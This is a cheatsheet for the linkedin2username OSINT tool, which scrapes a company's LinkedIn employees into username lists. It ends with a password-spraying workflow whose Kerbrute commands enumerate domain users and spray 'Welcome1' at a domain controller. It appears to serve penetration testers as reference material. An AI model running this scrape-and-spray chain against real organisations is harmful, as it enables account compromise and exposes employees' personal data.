Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

linkedin2username Cheatsheet

OSINT tool that generates username lists from a company’s LinkedIn employee page.


Installation

git clone https://github.com/initstring/linkedin2username.git
cd linkedin2username
pip3 install -r requirements.txt

Basic Syntax

python3 linkedin2username.py -u <linkedin_email> -c <company_id> [options]

Options

OptionDescriptionExample
-u EMAILLinkedIn login email (required)-u user@email.com
-c COMPANY_IDLinkedIn company ID (required)-c 1234
-p PASSLinkedIn password (prompts if omitted)-p Password123
-n DEPTHPage depth to scrape (default: 25)-n 50
-d DELAYDelay between requests in seconds-d 3
-gGet geolocation data for users
-o OUTPUTOutput directory-o ./results
--keyword KEYWORDFilter by keyword/title--keyword engineer

Finding Company ID

  1. Go to the company’s LinkedIn page
  2. Click “See all employees”
  3. The URL will contain the company ID: https://www.linkedin.com/search/results/people/?currentCompany=%5B"COMPANY_ID"%5D

Usage Examples

Basic Scrape

python3 linkedin2username.py -u user@email.com -c 1234

Deep Scrape with Delay

python3 linkedin2username.py -u user@email.com -c 1234 -n 100 -d 5

Filter by Title

python3 linkedin2username.py -u user@email.com -c 1234 --keyword "IT"

Output Files

The tool generates multiple username format files automatically:

FileFormatExample
first.last.txtFirst.Lastjohn.smith
flast.txtFLastjsmith
firstl.txtFirstLjohns
first_last.txtFirst_Lastjohn_smith
rawnames.txtFull namesJohn Smith

Workflow for Password Spraying

  1. Scrape LinkedIn for company employees
  2. Use generated username lists as input for Kerbrute to validate which users exist in the domain
  3. Spray validated users with common passwords
python3 linkedin2username.py -u user@email.com -c 1234
kerbrute userenum -d domain.local --dc 172.16.5.5 flast.txt
kerbrute passwordspray -d domain.local --dc 172.16.5.5 valid_users.txt 'Welcome1'

Tips

  • LinkedIn may rate-limit or flag automated scraping — use delays (-d)
  • A LinkedIn premium account may return more results
  • Combine output with common username wordlists for better coverage
  • Always validate generated usernames with Kerbrute before spraying